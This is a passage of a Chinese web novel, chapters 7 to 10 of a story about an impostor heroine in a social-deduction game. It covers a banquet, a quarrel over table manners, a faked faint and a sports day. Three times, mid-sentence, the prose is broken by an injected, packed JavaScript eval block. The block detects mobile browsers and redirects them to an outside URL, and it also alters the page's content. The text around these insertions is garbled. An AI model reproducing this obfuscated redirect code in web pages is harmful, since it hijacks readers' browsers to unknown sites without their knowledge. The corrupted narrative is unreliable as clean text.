《赝品生存指南》 7. 晚宴 寻夏遥遥盯着他的眼睛,嘴角勾起一点弧度。 临渊站定,清晰而低沉的嗓音盖过了餐桌上细微的动静,在空旷的大厅里回荡。 “各位晚上好。正式自我介绍一下,我是本轮逆位游戏的监察官,临渊。”他略微停顿,将众人各异的神情尽收眼底,“我的职责是确保游戏在已制定的基本框架内运行,符合至高纲领的意志,审查一切可能存在的违规行为。” “另外,每三天一次的放逐选举也由我组织。本轮游戏第一次放逐选举,将在四十八小时后开始,请各位做好准备。”他的语气不重,却似乎意有所指,目光再次若有似无地扫过全场。 这次,寻夏对上了他的视线。 “现在,”他宣布,“晚宴正式开始,各位可以自由行动。” 话音还没完全落下,坐在长桌前几位的拉蒙就叮叮当当拿起了刀叉。他木着一张脸,看起来情绪不高,但他制造的噪音显著活跃了桌上的气氛。 临渊说完,安静坐下。有了拉蒙的带头,杯盘碰撞的声响逐渐放大,身穿衬衫马甲的侍者们登场,细声细语地为玩家们斟酒、上菜、掀开餐盖。 滋滋冒汁的特级牛排、裹满鱼子酱的油润鹅肝、小臂粗的龙虾刺身…… 食物的香气与酒香在空气中氤氲,氛围熏熏然醉人。 寻夏仔细回想了一番,有点不甘心,但还是不得不承认,在她前二十四年的人生里,吃过好的,可确实没吃过这么好的。 下城最常见的食物是冻干的预制合成餐。因为辐射,连普通的生鲜食品都不多见,而这些只有在实验室里才能培育出来的顶级肉品,更是花钱也买不到的。 她用叉子铲起鹅肝,放进嘴里咬下一口,用舌尖抿了抿。 鹅肝如奶油般化开,鱼子颗粒噼啪迸裂,脂香和咸鲜交织在一起,让她不自觉微微眯起了眼睛。 寻夏又咬下一口,将整块鹅肝都塞进了嘴里。余光中,对面的男人似乎在盯着她看,她抬起头来,对着他微微一笑。 “我叫柏砚,”男人对上她的视线,主动开口,“请问这位小姐怎么称呼?” 他穿一身熨帖的深蓝色西装,高挺的鼻梁上架着一副半框眼镜。镜片后的丹凤眼含着笑意,正耐心地等待她的回答。 寻夏不动声色地与他对视,总觉得他的笑意之下,还藏着点说不清道不明的东西。 “寻夏,”她一边打量,一边应道,“很高兴认识你,柏砚。” “是我很高兴认识你才对。”柏砚三指托起酒杯,站起来向前俯身,“就是不知道有没有这个荣幸,能敬你一杯?” 柏砚话说得客气,但举手投足的姿态完全没给她留□□面拒绝的余地。 装货一个,寻夏腹诽。 于是她也端起酒杯,换上一张她对付男人最惯用的弯眼扬唇的笑脸,和他对装:“当然。” 当的一声,两只玻璃杯横跨长桌,在中央轻轻相碰。柏砚的那只杯沿略低一些,深红的酒液在杯中摇晃。 整个过程中,柏砚的双眼都紧紧注视着她,一刻都没有偏移。 寻夏在他一瞬不瞬的目光中抿了一口红酒,缓缓咽下,然后向他举杯致意。 这不是普通的搭讪,当然也不可能是单纯想和她交朋友,柏砚有别的目的。虽然究竟是什么目的,她暂时还不知道。 寻夏平稳地将酒杯放回桌上,正想拉动椅子入座,右手手肘却忽然磕上了一个硬物,发出咚的一声闷响。 紧接着,是叉子尖刺划过碗底的刺耳噪音,尖锐又细长。 她转头去看,和同样转头过来的塞巴斯蒂安四目相对。 原来她撞上的硬物是他的手肘。 他是个左撇子,原本正用左手持叉,优雅地卷起碗中的意面。 但寻夏那一下结结实实的肘击,不仅让他卷好的意面唰地散开,酱汁飞溅,落了一滴在纯白的衣领上;还让他的叉子在摩擦中发出了很不得体的声响,吸引了周围几人的目光。 塞巴斯蒂安动作缓慢,悄无声息地放下了手中的银叉。 寻夏有种不祥的预感,果然,在她脑筋急转但还没想好该说点什么的时候,塞巴斯蒂安就先开尊口了。 “我不喜欢和任何人有任何肢体接触,请你注意分寸,不要动一些不该动的心思。”他漂亮的琥珀色眼睛里升起冷冰冰的怒火,语气是毫不掩饰的厌恶。 他的声音不大也不小,坐在附近一圈的人都能听清。 他字里行间好像在说,寻夏是故意要和他产生肢体接触的,寻夏对他有非分之想。 周遭的空气再次安静下来,数道目光又一次聚焦在寻夏身上,有看戏,也有玩味。 柏砚挑了挑眉,视线扫过寻夏,又在塞巴斯蒂安那套高定纯白礼服上流连了一阵,这才慢悠悠地出声:“我很抱歉。” 他是对寻夏说的,也只是对寻夏说的。 毕竟寻夏在坐下中途不慎撞上塞巴斯蒂安,是因为他邀请寻夏起身与他碰杯。但他的抱歉也就到此为止,他可不想招惹塞巴斯蒂安,早早把自己摘出去才是正事。 寻夏面上楚楚可怜地摇摇头,心中呵呵冷笑了两声。 一个虚伪的装货,一个暴躁又自恋的白莲花,好好一场晚宴,她怎么就被这两人呈L型包围了。 都怪临渊。 正想着,她瞟了一眼临渊。临渊一手拿刀一手拿叉,手上的动作是在切牛排,眼睛却不知道为什么,正正好撞上她的视线。 他睫毛颤了颤,垂下了眼。 “诶,诶!”短促而小声的呼唤从寻夏左边响了起来,是那个圆圆脸的蛋卷头女孩在冲她招手,像是有话要对她说的样子。 寻夏侧身将耳朵凑过去,女孩用手严严实实地掩住嘴,用气声飞快说道:“快道歉,他姓道格拉斯!” “谢谢,你叫什么名字?”寻夏本来还在思索该如何应对,看到女孩着急的样子,却不自觉地笑了。 “我不是在和你开玩笑啦!”她见寻夏完全不当回事,皱着眉头努力加重了语气,“下午初见日集市的时候,他的手套不过是被一个摊主稍微扯下来了一点儿,他就生气了,骂那个摊主毫无教养!” “我知道你提前走了没看到。但他的脾气真的特别龟毛,身份又那么显赫,我们惹不起的!”她已经自动将寻夏和自己划在了一个阵营。 寻夏的笑容更灿烂了,这次是发自内心的。 圆圆脸女孩看着她对自己笑,嘴巴动了动,又瘪了瘪:“好吧,我叫栗娜。” “谢谢你的提醒,栗娜。” 她可以向塞巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16536334|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯蒂安道歉,但恐怕不是栗娜希望的那种。 前方的柏砚率先退出战场,左边的栗娜安静下来,右边的塞巴斯蒂安又有了动静,像打地鼠一样。 “你真的,”他一字一顿,语气又降温了两度,“很没有礼貌。” 寻夏转过身,脸上还带着笑,不躲不闪地迎上塞巴斯蒂安冰冷的目光。 她的神情平和,语气认真又一本正经:“我不是故意不作回应,只是我的母亲从小教导我,‘食不言,寝不语’。在享用美食时保持安静,既是对食物的尊重,也是对同桌人的礼貌。” “抱歉,”她刻意顿了两秒,顺便有意无意地扫了柏砚一眼,才接着道,“我以为,这是最基本餐桌礼仪。” “之前回应柏砚先生已是失礼,我又怎么能在道格拉斯先生面前,继续犯同样的错误呢?” 柏砚一巴掌,塞巴斯蒂安更是一巴掌。两个一边吃饭一边说话的,没礼貌的家伙。 柏砚仍然是一副事不关己高高挂起的表情,权当自己没听到,可塞巴斯蒂安却愣住了。 道格拉斯家是出了名的家风严谨,在世家中,几乎是典范与优雅的代名词。从来只有他挑剔别人失礼的份,什么时候反过来被人质疑过“没礼貌”? 他张了张嘴,想要反驳,却又意识到自己不论再说什么,都是在违反食不言的“基本餐桌礼仪”。 塞巴斯蒂安白皙的脸颊以肉眼可见的速度泛起薄红,一半是因为愤怒,一半是因为难堪。 栗娜在一旁龇牙咧嘴,看得提心吊胆。 但寻夏没有蹬鼻子上脸乘胜追击。她点到即止,客气地笑笑,便收回了目光。 她只是想为自己出口气,并不想把塞巴斯蒂安得罪狠了,不过某些人是没有这种顾忌的。 啪、啪、啪。 相隔大概四五个座位的位置,传来几声不怀好意的鼓掌声。 寻夏循声望去,只见拉蒙不知何时放下了刀叉,正懒散地靠在椅背上,有一下没一下地拍着手,看戏似的欣赏刚刚这一场小小的交锋。 他那张原本没什么表情的脸上,此刻写满了幸灾乐祸。 霍华德富贵,道格拉斯清肃,两大家族一边是纸醉金迷的穷奢极侈,一边是规行矩步的一板一眼,不仅在合议庭内部政见相左,在合议庭外也是互不对付、摩擦颇多。 能看到塞巴斯蒂安这个一向眼高于顶的家伙吃瘪,拉蒙觉得,下午抽塔罗牌的阴霾几乎都要一扫而空了。 “吃饭就吃饭,这么斤斤计较的,真是影响心情!”拉蒙唯恐天下不乱地扬声道,虽然没点名,但任谁都听得出,他是在针对塞巴斯蒂安。 寻夏慢条斯理地切下一块鳕鱼,边嚼边看,作壁上观,看得津津有味。 “你真无聊。”塞巴斯蒂安斜睨他一眼,冷声道。 说完,他起身朝着监察官的方向遥遥举杯,漂亮的金色长发在身后摇晃:“感谢主办方的精心安排,今晚的宴会令人尽兴。只是我向来在作息上规范严格,无法像诸位一般尽兴至夜深,恕不能奉陪。” “客气了,请自便。”临渊颔首致意。 塞巴斯蒂安饮下杯中最后一层清水,而后转身离去,动作优雅利落。 寻夏的视线落到了他留在桌上的那只酒杯上,若有所思。 8. 水 “塞巴斯蒂安他不喝酒诶。”寻夏向□□身,光明正大地和栗娜说小话,语气听起来很八卦。 塞巴斯蒂安走了,栗娜说话声大了一点,但仍然是谨慎地遮着嘴爆料:“道格拉斯家规矩最多了,这个不能吃那个不能喝,早上几点起床、晚上几点睡觉都是固定的,像旧世界的什么和尚一样。” “人活成这样还有什么意思啊。”寻夏感叹。 栗娜快速点头,深以为然。 “希望接下来的二十九天,不用再和他打交道了。”寻夏作祈祷状,长长的睫毛遮住了眼中一闪而过的锋锐。 栗娜深深地叹了口气,面相看起来都沧桑了几分:“我可不行,出去了还是抬头不见低头见。” 寻夏眯了眯眼睛。 “哦?” 这个“哦”字像一枚硬币,而栗娜就像一台贩卖消息的自动售货机。硬币叮当投进售货机里,售货机就开始了全自动爆料。 “哎,我和那位是同一所大学的,学的还都是旧世界西方美术史。不过他是研究生,我是本科二年级,本来也不至于要经常打交道。”栗娜捂住心口,满脸沉痛,“但是我参加了一个小班培养项目,开学之后才发现,他是项目助教。” 果然。 她刚才就觉得,栗娜对道格拉斯的吐槽过于私人化,不像是单纯的道听途说,而更像是真的和塞巴斯蒂安本人有交情。 能和这种有钱有权有闲的基因贵族同校同专业,学的还是一听就找不到工作的什么美术史,栗娜的背景恐怕也不简单。 “他批论文,严格到令人发指!哪里不小心多打了一个空格,页边距设置的差了几毫米,他全都要指出来修改。” “还有还有,他禁止我们用‘体现’‘表达’这种好用的万能词,他说用这种词的人是既懒惰又没有审美,建议去旁听幼升小衔接语文课提升一下。” 寻夏在一旁频频点头,用感同身受的眼神鼓励她继续说下去。她就喜欢这种身份不一般又热情开朗的活泼大漏勺。 “我们每周三一点到五点上课,你知道的,一个礼拜中最困最困的时间。但他从来不喝咖啡,不喝茶,也不喝什么功能饮料,就只喝白开水。闻到我们冰美式的味道,他还要皱眉冷脸,说我们不健康不自律之类的。” 听到这里,寻夏搭在桌沿的五指不自觉收紧了。 水。 又是水。 她对这个字眼一直有一种过分的敏感。因为这是她妈妈消失前给她留下的,唯一的、也是最后的信息。 距离那一天已经过去了六年,寻夏早已不再期待妈妈会在某个平凡的日子推门而入,笑着解释说这一切只是一场盛大的骗局。 她慢慢接受了现实,接过妈妈留下的摊子,在下城这个鱼龙混杂的地方活成了神秘又天赋异禀的“夏老板”。 但无数次午夜梦回,她还是会被那个单薄的字眼困住。 “水”到底是什么意思?是妈妈当时需要喝水?是她所在是某处水边?是某个人、某个任务的代号?又或者只是没来得及打完的第一个字?她设想过千百种可能,却始终找不到一个确切的答案。 它成了一道无解的谜题,一个高悬她心头的、永恒的省略号。 “哎,总之,道格拉斯把我害惨了!”在栗娜的总结陈词中,晚宴开始散场。 但周围的种种动静都像是隔着一层毛玻璃,看不清楚,也听不真切。寻夏端起酒杯,低头抿了一小口上个世纪八十年代的红酒,缓缓咽下眼底的惊涛骇浪。 仅仅一瞬。 再抬眼时,那些汹涌的情绪已经被她熟练压回心底。她重新挂上那种小女生之间的,过家家似的同仇敌忾的神情,方才片刻的失神仿佛只是一场无影无踪的幻觉。 “就是啊,真过分。”她顺着栗娜的话应和,带着恰到好处的愤懑,让人找不出任何破绽。 栗娜对寻夏相见恨晚,挽着她的手一起上楼,又在房间门口依依惜别,约好明天还要一起吃晚饭。 告别了栗娜,合上房门,寻夏从行李箱夹层中,小心翼翼地拿出了那条散发着旧物气味的黑欧泊项链。 这条项链,是妈妈在消失的前一天,从天际城带回来的“任务定金”。 她久久凝视着掌心的宝石。月光下,梦幻的变彩流淌过黑夜,又照亮下一个白天。 新的一天,新的邮件。 今天寻夏没有睡过头,她在十点准时点开了第二天的活动预告。 【活力运动会】 「今日活动预告:活力运动会 活动时间:14:00-17:00 活动地点:梅尔森城堡室外花园 阳光正好,微风不燥,让我们共同推开城堡的大门,开启一场轻松有趣的趣味运动会。请换上轻便的服装,带上愉悦的心情,让友谊在汗水中升温,让欢笑在花园中飞扬吧!」 活动介绍的文笔很像小学生作文,如果拿给塞巴斯蒂安批改的话,他可能会把作者打回幼儿园回炉重造。 想到这里,寻夏没忍住笑了一下。 下午一点五十,灿烂的阳光透过厚重的窗帘照了进来。“阳光正好,微风不燥”,对大多数人来说是个好天气,但对寻夏来说却是个坏天气。 她换上一套包裹严实的浅蓝色瑜伽服,站在落地镜前,最后调整了一下扣在假发外围的那顶智能防晒帽。 白化病人不能承受长时间的阳光直射,凡是在户外活动,防晒装备对她来说都是必不可少的。不过好在今天是运动会主题,这样的装扮在人群中,倒也不会显得突兀。 她走到楼下,镶嵌着彩色玻璃的城堡大门已经向外敞开。 第一天到达的时候是深夜,匆匆一瞥,没来得及看清城堡外圈庄园的模样。 现在看过去,近处是一片巨大的、精心修剪的圆形草坪,草坪中央的白色喷泉在阳光下熠熠生辉。远处有缤纷的花坛,有茂密的树林,微风拂过,带来淡淡的花香和青草的气息。 如茵的绿草上,已经聚集了不少参与者。 一眼扫过去,五花八门的运动品牌Logo撞入寻夏的眼帘;再细细分辨,穿同品牌服饰的几人大多聚在一处交谈,让人生出一种拿他们玩消消乐小游戏的冲动。 寻夏低头看了一眼她的纯色净版瑜伽服,淡淡微笑。 别问,问就是设计师高定款。当所有人都有Logo的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16536335|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有Logo,才是最高级的Logo。 “小夏,这边这边!”栗娜在人群中冲她招手,棕色的蛋卷头在她脑后一跳一跳,看起来很有弹性。 寻夏走过去,栗娜的目光落在她的防晒帽上,一双大眼睛里盛满了惊奇。 “这是哪家出的防晒帽?帽檐的颜色居然一直在变诶,好神奇!” “这是我托人定制的,”寻夏弯起眼睛,“帽檐的材料比较特殊,能够根据紫外线的强度和角度,随时调整颜色和透明度。” 这句话是真话,只不过她所托之“人”不是别人,而是她自己。 “我对防晒很有研究哦。”寻夏又添了一句,这句话也是真话。 栗娜恍然大悟:“我说呢,怪不得你这么白!” 她话音刚落,一声尖锐的哨声就从前方响了起来。一位穿着黑背心灰短裤,散发着健身教练气质的男青年一边播放哨音,一边走到了草坪前,示意大家安静。 临渊在他身后现身,依旧是一丝不苟的制服打扮。阳光勾勒出他清晰的侧脸轮廓,他站在那里,像一尊静默又标致的雕塑。 草坪上渐渐静下来,众人仍然三三两两的站着,好奇的目光纷纷投向站在前面的生面孔。 然而健身教练并不打算自我介绍。他笑容满面,中气十足地开口:“各位朋友们,下午好!欢迎来到活力运动会的现场!” “首先,为了让大家活动开筋骨,我们将进行第一个集体项目——”他的语气中带着点怀念,“让我们重温天际城九年义务教育的美好回忆,一起来做一套每个人都再熟悉不过的‘五彩阳光’广播体操吧!” 寻夏心头重重一跳。 人群中升起一阵小小的喧哗,有人怀念感叹,有人不情不愿,也有人面露迷茫。 “来来来,大家列队,男左女右排成两列!”健身教练对下面的动静毫不在意,只一味地推进流程。 “真幼稚。”拉蒙嗤笑一声,懒懒散散站在一旁,等着守规矩的那群人先排好队。 守规矩的塞巴斯蒂安立在男生队首,一头金发在阳光下耀眼夺目,身姿挺拔得像一杆瘦削的旗。 “中学毕业后就没做过操了,但愿我还有肌肉记忆!”栗娜拉着寻夏想往前走,跃跃欲试。 启明从她身边经过,目标明确地往队尾走去,眼神与寻夏一触即分。 她们都来自下城,那里没有义务教育,她们也不会做什么五彩阳光广播体操。 启明往队尾去,显然是打算浑水摸鱼、滥竽充数,模仿前面的动作,让尽量少的参与者关注到自己。 拉蒙也往队尾去,大摇大摆的。所有人都知道他的身份,就算他不会做操,也不会有任何人怀疑他是赝品。 他站队尾,纯粹是不耐烦,嫌弃做广播体操。还有几人也和他有类似的想法,勾肩搭背地在后边挤成一团,像是学生时代那种会霸凌别人的小团体。 有这些人混淆视听,往后站的策略或许可行。但寻夏已经被栗娜拉着排在了前排,这个时候再挣脱往回走,那就太显眼也太可疑了。 怎么办? 寻夏正垂眸思索,活力四射的体操音乐毫无预兆地响了起来。 9. 广播操 “五彩阳光——现在开始!一,二,三,四——”健身教练跟着音乐一起活力四射地喊拍,挥手鼓励大家动起来。 在场的大多是二三十岁的青年人,已经过了需要每天做早操的年纪。听到熟悉的音乐,四肢遵循着某种神秘的呼唤想要动作,但一时又都有些拿不准具体该动作哪一部分。 第一个八拍的节奏不快,众人有的伸腿,有的抬手,稀稀拉拉、参差不齐。排在寻夏前面的栗娜在迟疑中缓缓抬起了胳膊。 “开头动作是这个吗?我好像要想起来了。”她扭过头,想和寻夏对答案,却没找到寻夏在哪儿。 她后面的位置是空的。 “啊!”后面的后面,一个小麦色皮肤的女生发出一声惊叫。与此同时,栗娜感觉有什么毛茸茸的东西蹭上了自己的小腿。 她低头一看,那个毛茸茸的东西居然是寻夏的脑袋。 栗娜的身体比大脑反应得更快:“小夏!”她也惊叫起来,伸手就要去扶。 在接连的惊叫声中,已经跪倒在地上的寻夏双目紧闭,微微抖动双手,柔弱无骨地往栗娜腿上靠过去。 她防晒帽的帽檐在碰撞中被往下压,严严实实地遮住了她的脸,也遮住了她不够惨白的唇色。 事已至此,先晕倒吧! 没有人晕倒的运动会是不完整的,这场运动会的晕倒KPI,就交给她来完成吧! “哎呀!” “这里有人晕倒了!” “能听见我说话吗?小夏你怎么了别吓我啊!” 以寻夏为圆心,周围迸发一阵骚动。嘈杂的呼喊声此起彼伏地荡开,有人托住她的后背,有人抓住她的手臂。 那几只手没轻没重的,抓得她有点痛。但她必须保持浑身松弛无力的状态,既不能下意识地收紧肌肉,也不能不经意间眼皮狂跳。 毕竟她现在的状态,应该是能听见周围人说话,但眼前一片漆黑,意识开始模糊,逐渐丧失对身体的控制。 这是她曾经多次亲身体验低血糖晕倒之后,总结出来的晕倒经验。 忽然,抓在她身上不同部位的几只手同时松开,她的后背靠上了一片硬邦邦且带有尖锐凸起的东西。 “怎么回事?”临渊沉沉的嗓音突兀地响起。 按理说,丧失视觉的时候,听觉就会变得敏锐。可不知道为什么,在寻夏的耳朵里,其他人七嘴八舌的回应声变得模糊,唯独临渊的声音在无限放大。 她好像真给自己装困了。 两根温热的手指按上她的颈侧,寻夏努力让自己的心脏加速跳动起来,但似乎成效甚微。 临渊按在她颈侧的手指顿了顿。 “中暑,或者低血糖,大家不必太过惊慌。”他的语调沉稳,有种让人安心的力量,“我带她去医疗舱,运动会正常进行。” 话音落下,寻夏感觉到了两条有力的手臂一上一下,稳稳托住她的后背和膝窝。她的双腿离开地面,在半空中悬荡,身侧飘来若有若无的清爽淡香。 这次,换她的脑袋靠在了那片硬邦邦且带有尖锐凸起的东西上。她后知后觉地意识到,那片硬邦邦的东西是临渊的胸膛,尖锐凸起大概是他别在胸口的教廷徽章。 好吧,她居然要以一个被公主抱的姿势,在众目睽睽下离场。 好吧,或许晕倒的人没有被公主抱的运动会,也是不完整的吧。 神游中,她好像听到了栗娜说她要来帮忙的声音。但临渊的脚步不停,栗娜的声音很快被抛在身后,连带着广播体操的动感音乐也迅速远去。 任世间纷纷扰扰,站在队首的塞巴斯蒂安始终专注做操。 他的动作横平竖直,神情没有波动。直到临渊抱着寻夏从他面前经过,他的眼睛才极其缓慢地眨动了一下。 又是这个寻夏。他想。 临渊抱着寻夏,快步走进城堡阴凉安静的大厅。 军靴踏在大理石地面上,荡开咚咚的回音。寻夏有些无聊地数着响声,在心里推测去往医疗舱的大致路线。 数到第两百五十多步的时候,临渊的脚步慢了下来。 医疗舱应该就要到了,寻夏颤了颤眼皮,时机恰好地、缓慢又艰难地睁开了双眼。 她本想睁开眼之后,先茫然四顾一番。但不巧的是,她一睁眼就对上了临渊垂眼看下来的目光。 他彻底停下了脚步。 好像有点不对劲,但寻夏还是随机应变地演了下去。她的眼珠一动不动,控制着视线从失焦,一点一点收回到聚焦的状态。 她张了张嘴,哑着嗓子柔弱开口:“这……哪儿?” 刚从低血糖昏迷中醒转的人,是没力气说出一句完整连贯的句子的,最多只能像她现在这样,气若游丝地蹦出几个字眼。 临渊盯着她看,没有说话。 寻夏继续引导他:“晕了……多久?” 临渊还是盯着她看,没有说话。 好像确实有点不对劲。 寻夏暗自咬咬牙,张了张嘴,决定最后再尝试一次。但临渊抢先一步打断了她。 “我知道你是装的。”他终于撇开眼睛,声音和身上的香气一样淡淡的。 寻夏一愣。 怪不得她总觉得有哪里不太对劲。 她飞快地看了一眼四周,才发现身前居然是昨天刚进去过的701房间,没有需要应付的医护人员,也根本没有什么医疗舱。 说实话,刚刚临渊开口的那一刻,她的心跳久违地紧张加速了一下。 但转念一想,临渊不仅抱着她离开了广播体操现场,还一直走到不会被任何人撞见的办公室门口才停下,这说明什么?说明他从没有打算在众人面前揭穿她。 也是,监察官只负责审查违规行为,赝品骗人天经地义,她又没有违规,怕什么。 寻夏转了转眼珠,又用手肘轻轻顶了顶临渊的胸口,示意他放自己下来。 临渊弯腰倾身,把她的双脚放回地上。寻夏却像没骨头一样,脚踝一软,带着整个上半身向前倾倒。 咚的一声,她的脑门和701的大门来了个亲密接触。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16536336|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好痛。 而临渊只是垂着手,居高临下又无动于衷:“可以了,不用再装了。” “怎么隐藏身份是你自己的事,我只负责维护游戏的合规与公平。”他的视线落在寻夏额头上撞到的位置,“我不会揭穿你,但也不会帮你,回去吧。” “回哪里去?”寻夏将手掌搭上大门,眼神直勾勾地盯着临渊,“这里可是你的办公室门口。” 还没等临渊反应,她又忽地挪开目光:“哎,算了。” “我可以进去先坐一会儿吗?虽然晕倒是假装的,但我是真的没有吃午饭,刚刚又晒了太阳,有点不舒服。”寻夏低垂着眉眼,看起来隐忍又脆弱,“我有白化的基因缺陷,你知道的。” 基因缺陷,是每一个二等民心中的一道隐疮。而寻夏竟然愿意揭开伤口,主动暴露她的天生缺陷,只为了取得他的信任。 这下换临渊愣住了。 他的脑海中闪过了初见时擦肩而过,寻夏那一头柔软的及肩白发,还有淡粉色的眼眸。 他试图分辨寻夏刚刚那几句话的真假,但在他的大脑得出结论之前,他的右手已经完成了开启门锁的指纹识别。 他像拎起一个布娃娃一样,把地上的寻夏拎起来,一路搀到纯白的沙发上坐下,然后一言不发地转身出了门。 寻夏靠在沙发上,长长的假发胡乱散开,遮住了她的脸。 而此时,临渊正站在负一层的厨房门口,手上刚刚收起了终端。 他放心把寻夏一个人留在办公室,是因为他的办公室安装了微型监控,寻夏有任何小动作,他都能看得一清二楚。 可是终端上的监控画面显示,整整十五分钟过去,寻夏真的只是躺在沙发上,甚至连一动都没有动,只剩下胸口还在缓慢起伏。 他已经不怀疑她在装模作样,或者是别有用心了。他现在有点担心,寻夏会不会真的晕过去了? 临渊接过厨师递来的热腾腾的餐盒,不自觉加快了脚步。 当他再一次打开701房门的时候,寻夏像是察觉到了声响,微微偏过头,从长发下露出一点苍白的脸颊。 “就在这里吃吧。”临渊看了她一眼,将餐盒放在沙发前的圆形小几上。 寻夏用慢动作支起身体,眼神从迷茫,慢慢转变为惊喜。 “原来你去给我找吃的了。”她弯起眼睛,“谢谢临渊长官。” “不客气。”临渊背身,向办公桌走去。 寻夏拿起刀叉,视线状似不经意地扫过天花板角落那个一闪一闪的小红点。 她们这种做骗子的,对摄像头没点敏感度怎么行呢。 她当然好奇临渊的办公室,也好奇临渊本人。他这样的人,会有什么样的执念、什么样的渴望呢? 但窥探人心不能急于一时,她今天只是迈出了浅浅的一步。 食盒里的鳕鱼冒着热气,金黄的表皮上还能看到亮晶晶的新油。寻夏切下一块,放入口中,笑着看向端坐在办公桌后,一脸公事公办的临渊。 她赌临渊下次还会帮她。 10. 运动会 寻夏很给面子地把餐盒里的东西吃了个干净,表示非常感谢临渊对她的帮助,然后“坚强”地回到花园,继续参加接下来的运动会项目。 当然,只是嘴上说着要参加,实际上会有好心人拉住她,劝她要好好休息注意身体,不要逞强。 比如栗娜。 “小夏你回来啦!”年轻的女孩惊喜地迎了上来,“是不是低血糖?现在还晕吗?之前真是吓死我了!” 寻夏的笑容看起来有些虚弱:“我没事。” 栗娜抓住她的双臂,细细打量她苍白的脸,和特地扑了一点粉底的唇。 “看起来不像没事!”她得出结论,“怎么不回房间?你不会还想参加项目吧?是不是那个监察官不让你回去休息?” 寻夏不答,也不打算帮临渊解释,只是向草坪上热闹的人群投去一个向往的眼神。 “好吧好吧,知道你感兴趣了,我陪你过去看。但说好了,只能旁观,不能亲自上场哦!” 正合她意。 寻夏愉快地点点头,既然栗娜都这么说了,那她当然恭敬不如从命了。 毕竟在运动会上晕倒是一种经典剧情,晕倒的人醒来后回到会场做啦啦队,也是一种经典剧情。 “那是——?”她指了指喷泉后不知何时多出来的一张巨大水床。 远远望去,冰蓝色的水床像一片沸腾的海洋。一条条身影在水床上起伏跳跃,色彩鲜艳的小球在众人的争抢中不断抛起又落下。 “对,就是‘抢滩登陆’!”栗娜的眼睛亮晶晶的,她显然对这项活动并不陌生,甚至是非常熟悉。 这应该是在天际城的校园中流行的某个趣味项目。 寻夏咬住舌尖,暗道一声好险。她刚刚差点就要脱口而出,问出“那是什么东西”这种蠢话。 她如果真的那么问了,她的无知就会暴露得一干二净,栗娜一定会产生怀疑,进而不再把她划入“我们”的阵营。 还是太放松了。寻夏双手垂在身侧,指甲悄悄掐进了掌心。 两人离水床渐渐近了,寻夏才发现场上的局面似乎有些奇怪。 围在水床外的人群一半一半,分别绑着红色和蓝色的腕带,水床上弹起的小球也分为红色和蓝色两种颜色。在寻夏的设想里,这个所谓的“抢滩登陆”,应该就是两个阵营在水床上抢夺各自阵营的小球,或者抢夺对方阵营的小球。 但此刻水床上,没有人理会蹦蹦跳跳的小球。红色阵营和蓝色阵营的参与者们交错在一起,不分你我,把一个瘦小的男青年堵在中间。 他双手双脚着地,撑在水床上。每一次试图站起来的时候,都会有人恰好在他身旁重重扑下,剧烈波动的水床让他再次失去平衡,狼狈地摔倒。 有人趁乱抓他一把,把他的衣服扯得歪七扭八,还有人趁乱踢他一脚,让他不得不在水床上左右滚动。 “抢滩登陆”,是这么玩的吗? 寻夏用余光观察着栗娜的神色。栗娜先是用手遮着额头,眯着眼看了一阵,而后惊呼:“呀,是他!” 寻夏脸上露出一点茫然。 中间这位是谁?很有名吗?她怎么没什么印象? “现在被围在中间的那个男生,他之前做广播体操的时候站在后排。”栗娜语速很快,“拉蒙他们不是也在后排嘛,他们就发现这个男生的动作永远慢半拍,而且还会和前面的人做错一样的动作。” 栗娜压低声音,凑近寻夏的耳朵,像是要告诉她一个惊天大秘密:“他们都说,这个男生是赝品!” 赝品两个字,在寻夏耳中嗡嗡回荡。 但她控制得很好,没有表现出半点异样,语气里带着恰如其分的惊讶与八卦之情:“真的吗?他是赝品?” “不知道啊!但那群人都说是,明天我就打算投他了。”栗娜说的是明天晚上的放逐选举。 不论他是否来自下城,起码明天的选举,已经有了一个集火的靶子,这理应是件好事。 寻夏长睫颤了颤:“那我跟你的票。” 阳光下,有人顶着一头耀眼的红色短发走了过来。寻夏这才意识到,原来拉蒙也在水床这边。 “哎呀,真是说拉蒙,拉蒙到呀!”栗娜感叹完,又担心起来,“你第一天的时候那个占卜……没关系吗?” “没事。” 话是这么说,但她现在并不想应付拉蒙。寻夏垂眼盯着草地,暗自希望拉蒙只是要去什么地方,碰巧借道路过。但很不巧,她看见一双挂着骷髅徽章的圆头皮鞋停在了她的身前。 拉蒙今天打扮的依旧很朋克,破洞毛衣破洞裤,铆钉项圈铆钉戒,总之和运动沾不上半点关系。 他上下打量了寻夏几个来回,视线在她毫无血色的双唇上多停留了片刻。 